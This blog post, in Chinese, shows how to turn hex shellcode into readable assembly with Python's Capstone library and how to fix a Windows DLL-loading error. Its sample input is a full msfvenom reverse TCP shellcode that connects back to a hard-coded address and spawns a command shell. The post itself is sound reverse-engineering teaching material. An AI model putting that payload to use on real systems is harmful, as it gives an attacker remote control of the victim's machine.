需要多少行代码转换hex成反汇编呢?
多亏了Python的Capstone库,做这件事只需要五行。
在二进制分析中,进行Exploit开发或逆向工程时,需要快速将十六进制的Shellcode反编译成反汇编。你可以使用像OllyDbg或IDA Pro这样的反编译工具,但如果你不想使用一个成熟的反编译工具执行这个小任务,那么下面的Python代码将有助于你把Shellcode转换成反汇编形式。
如果你还没有安装capstone,那么你需要使用以下方法进行安装:
使用以下命令下载并安装。Note:在kali Linux已经有了。
apt-get install python-capstone
windows需要下载以下的MSI文件后运行图形化向导进行安装:
32 bit
https://github.com/aquynh/capstone/releases/download/3.0.5-rc2/capstone-3.0.5-rc2-python-win32.msi
64 Bit
https://github.com/aquynh/capstone/releases/download/3.0.5-rc2/capstone-3.0.5-rc2-python-win64.msi
这个例子是从msfvenom摘出来的反向TCP连接shellcode
#!/usr/bin/env python
from capstone import *
shellcode = ""
shellcode += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
shellcode += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
shellcode += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
shellcode += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
shellcode += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
shellcode += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
shellcode += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
shellcode += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
shellcode += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
shellcode += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
shellcode += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
shellcode += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
shellcode += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
shellcode += "\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"
shellcode += "\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x74\x80\x68"
shellcode += "\x02\x00\x1f\x90\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5"
shellcode += "\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec"
shellcode += "\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d\x64\x00\x89"
shellcode += "\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66"
shellcode += "\xc7\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44"
shellcode += "\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68"
shellcode += "\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30"
shellcode += "\x68\x08\x87\x1d\x60\xff\xd5\xbb\xaa\xc5\xe2\x5d\x68"
shellcode += "\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0"
shellcode += "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"
md = Cs(CS_ARCH_X86, CS_MODE_32)
for i in md.disasm(shellcode, 0x00):
print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))
代码解释:
md = Cs(CS_ARCH_X86, CS_MODE_32): 初始化类,给两个参数(硬件架构和硬件模式)
for i in md.disasm(shellcode, 0x00): disasm 反汇编这段HEX, 它的参数是shellcode和起始地址。
print(“0x%x:\t%s\t%s” %(i.address, i.mnemonic, i.op_str)):打印地址和操作数。
保存上述代码并执行,下面的屏幕截图显示了用Python脚本输出十六进制(shellcode)的汇编
我在安装capstone的时候遇到了一个错误错误信息如下:
Traceback (most recent call last):
File "sl.py", line 2, in <module>
from capstone import *
File "C:\Python27\lib\site-packages\capstone\__init__.py", line 249, in <module>
raise ImportError("ERROR: fail to load the dynamic library.")
ImportError: ERROR: fail to load the dynamic library.
一路往下Debug,最后发现是ctypes加载DLL的时候报错了,不知道为何。
C:\Python27\Lib\site-packages\capstone\__init__.py
于是我手动把210行代码lib路径改成DLL的绝对路径
_lib = "capstone.dll" # 修改前
_lib = "C:\\Python27\\lib\\site-packages\\capstone\\lib\\capstone.dll" # 修改后
修改后的代码如下:
if sys.platform == 'darwin':
_lib = "libcapstone.dylib"
elif sys.platform in ('win32', 'cygwin'):
_lib = "C:\\Python27\\lib\\site-packages\\capstone\\lib\\capstone.dll"
else:
_lib = "libcapstone.so"
https://haiderm.com/convert-hex-assembly-using-simple-python-script/